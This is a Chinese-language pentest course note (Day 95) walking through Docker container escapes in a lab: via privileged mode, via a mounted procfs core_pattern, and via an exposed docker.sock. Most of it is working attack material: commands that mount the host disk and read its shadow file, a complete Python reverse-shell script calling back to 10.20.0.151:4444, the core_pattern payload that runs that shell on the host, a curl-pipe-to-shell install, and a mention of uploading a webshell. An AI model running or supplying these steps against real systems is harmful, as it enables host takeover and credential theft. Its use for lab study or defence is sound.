第95天:云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

如何判断当前自己是否处于容器中

1
2
https://blog.csdn.net/ternence_hsu/article/details/100678307
https://blog.csdn.net/qq_23936389/article/details/131486643

常用的几种方式:

方式一:判断根目录下 .dockerenv 文件

docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的

方式二:查询系统进程的cgroup信息

docker 环境下:cat /proc/1/cgroup

kvm环境或者物理机环境下:cat /proc/1/cgroup

image-20250904162205464

特权模式启动导致逃逸

特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)

参考链接:https://wiki.teamssix.com/cloudnative/docker/docker-privileged-escape.html

1
docker run --rm --privileged=true -it alpine

image-20250904163231869

判断是否是容器:

image-20250904163311777

判断是否是特权模式

1
cat /proc/self/status | grep CapEff

image-20250904163346646

image-20250904163422837

image-20250904163431289

查看目录

1
fdisk -l

image-20250904163559020

特权模式逃逸

1
mkdir /test && mount /dev/sda1 /test

image-20250904163724567

尝试访问物理机的shadow文件:

image-20250904163803494

危险挂载启动导致逃逸

危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)

参考链接:https://wiki.teamssix.com/cloudnative/docker/docker-procfs-escape.html

1
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

启动容器。

检测环境是否符合,如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

1
find / -name core_pattern

image-20250904164011956

复现

找到当前容器在宿主机下的绝对路径

1
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

image-20250904164045313

这就表示当前绝对路径为

1
/var/lib/docker/overlay2/f273bc046fc48b513223e7729397f0d1bca5f8e5f88b2c2f33a2581964302119/merged

安装 vim 和 gcc

1
2
3
apt-get update -y && apt-get install vim gcc -y
apt install python3 -y
vim /tmp/.t.py

创建一个反弹 Shell 的 py 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
import os
import pty
import socket
lhost = "10.20.0.151"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()

给 Shell 赋予执行权限

image-20250904165353867

1
2
3
4
5
6
7
8
9
#给予执行权限
chmod +x /tmp/.t.py

#前置环境
apt-get update -y && apt-get install gcc -y
#实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行

#写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/f273bc046fc48b513223e7729397f0d1bca5f8e5f88b2c2f33a2581964302119/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

1
2
3
4
5
6
7
8
9
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t

image-20250904171819787

docker自身版本漏洞导致逃逸

docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html

创建一个容器并挂载 /var/run/docker/sock 文件

1
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

在容器内安装 Docker 命令行客户端

1
2
3
4
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

检测

1
ls -lah /var/run/docker.sock

image-20250904172259457

如果存在这个文件,说明漏洞可能存在

复现

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

1
docker run -it -v /:/host ubuntu /bin/bash

在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,其实不挂载也行

image-20250904172520452

真实环境模拟

高权限-Web入口到Docker逃逸(java)特权模式逃逸

1
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

image-20250904193946010

image-20250904194955664

确定是docker环境

image-20250904195020910

查看是否是特权模式

image-20250904195137502

image-20250904195157525

进行挂载

1
mkdir /xiaodi && mount /dev/sda1* /xiaodi

image-20250904195347426

image-20250904195424769

成功挂载。

低权限-Web入口到Docker逃逸(PHP)特权模式逃逸

1
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

image-20250904195653142

上传一句话木马。

image-20250904195842104

如果此时你去物理机在进容器,会发现你是特权模式。

image-20250904200019104

说明入口如果是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用系统漏洞或者docker自身漏洞去逃逸。